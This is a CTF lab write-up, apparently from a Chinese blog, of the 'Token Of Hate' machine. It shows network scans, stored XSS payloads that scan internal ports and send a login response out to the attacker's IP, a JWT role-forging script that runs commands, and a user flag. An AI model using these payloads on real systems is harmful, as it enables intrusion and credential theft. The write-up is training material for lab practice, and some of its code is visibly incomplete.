thehackerslabs Token Of Hate靶机复盘
难度-Hard
thehackerslabs Token Of Hate靶机复盘
网段扫描
1
2
3
4
5
6
7
8
9
root@LingMj:~/tools# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d1:27:55, IPv4: 192.168.137.190
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.137.1 3e:21:9c:12:bd:a3 (Unknown: locally administered)
192.168.137.38 3e:21:9c:12:bd:a3 (Unknown: locally administered)
192.168.137.71 a0:78:17:62:e5:0a Apple, Inc.
8 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.038 seconds (125.61 hosts/sec). 3 responded
端口扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@LingMj:~/tools# nmap -p- -sV -sC 192.168.137.38
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-24 21:56 EDT
Nmap scan report for TheHackersLabs-TokenOfHate.mshome.net (192.168.137.38)
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 fd:6a:70:17:f7:40:07:fe:eb:5a:5d:36:56:32:f0:39 (ECDSA)
|_ 256 2d:3d:4b:a1:f6:e3:8d:91:09:4c:a8:b3:85:7d:b5:c1 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Home
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 3E:21:9C:12:BD:A3 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.30 seconds
获取webshell
小马还是很难的,看完wp发现当时做的方向错了不是直接注入替换用户拿到shell,所以我会把内容先说明后面有困难按wp继续
这个小马有图片隐写,出现是一只兔子不过没啥用
这是当时研究的,即使把登录做了但是还是无法成功拿到控制,所以这个方案必然是错误了
注册存在xss我们现在利用这个把token什么的带出来
1
2
3
4
5
6
7
const checkPort = (port) =>{
fetch(`http://localhost:${port}`,{mode:"no-cors"}).then(() =>{
let img = document.createElement("img");
img.src = `http://192.168.137.190/ping?port=${port}`;
});
for (let i=1;i<1000;i++) {checkPort(i);}
有点难,我唯一能确定的方式,但是没有其他wp,所以这些都是我直接验证
弹个cookie可以拿东西有点意思了
那么问题来了不知道有啥用现在,突然有眉目了可以把刚刚没成功的代码扔到js文件让他弹东西
我看到它是一个定时任务它会进行js的不断访问
不过好像没成功,换一个方式
当然我不会写都是搬wp的
把东西发到pdf了OK有意思
根据同样方法文件读取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const users = [
{ nombre: "Jose", pas: "FuLqqEAErWQsmTQQQhsb" },
];
function testUser(user) {
let xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:3000/login", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onload = () => {
if (xhr.status >= 200)
new Image().src = `http://192.168.137.190/?user=${user.username}&response=${btoa(xhr.responseText)}`
}
xhr.send(JSON.stringify(user));
}
users.forEach(async user => {
// Envía la petición con el body en JSON
testUser({
username: user.nombre,
password: user.pas
});
});
jwt嵌套jwt
1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ikpvc2UiLCJyb2xlIjoidXNlciIsImlhdCI6MTc0Mjg3NTExNCwiZXhwIjoxNzQyODc4NzE0fQ.J047S-ajtGvX_A8mqDoRym6jM1QpGnx78VmRxa6m1Rk
解个密改成admin应该就行了
按照这个格式写一下就行了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
var command = "id";
// Petición para realizar el login y obtener el token actualizado.
petition1 = new XMLHttpRequest();
petition1.open('POST', 'http://localhost:3000/login', true);
petition1.setRequestHeader('Content-Type', 'application/json');
// Petición para ejecutar el comando.
petition2 = new XMLHttpRequest();
petition2.open('POST', 'http://localhost:3000/command', true);
petition2.setRequestHeader('Content-Type', 'application/json');
function base64urlDecode(str) {
// Reemplaza caracteres específicos de Base64URL
str = str.replace(/-/g, '+').replace(/_/g, '/');
// Añadir padding si es necesario
while (str.length % 4) {
str += '=';
}
return atob(str);
}
function base64urlEncode(str) {
return btoa(str)
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '');
}
petition2.onload = () => {
document.write("Resultado");
document.write(petition2.responseText);
}
petition1.onload = () => {
// Obtenemos el token JWT y lo separamos en sus partes.
let tokenParts = JSON.parse(petition1.responseText).token.split(".");
// Decodificamos la parte del payload y la convertimos en objeto.
let payloadDecoded = JSON.parse(base64urlDecode(tokenParts[1]));
// Modificamos el role del usuario.
payloadDecoded.role = "admin";
// Codificamos otra vez el payload modificado.
tokenParts[1] = base64urlEncode(JSON.stringify(payloadDecoded));
// Reconstruimos el token modificado.
let tokenModificado = tokenParts.join(".");
sendSecondPetition(tokenModificado);
}
function sendSecondPetition(tokenModificado) {
petition2.send(`{"token":"${tokenModificado}","command":"${command}"}`);
}
petition1.send('{"username":"Jose","password":"FuLqqEAErWQsmTQQQhsb"}');
这作者做这个真牛
不过jwt压根没改是什么
id换一下就行
提权
看起来是内核漏洞
看来不是
猜一下是这个node
猜测成功,后面的内容就不过前面的精彩,但是也是一个非常好的靶机
userflag:98f2b2e68938801b0321b8cc7a9641a3
rootflag:
This post is licensed under CC BY 4.0 by the author.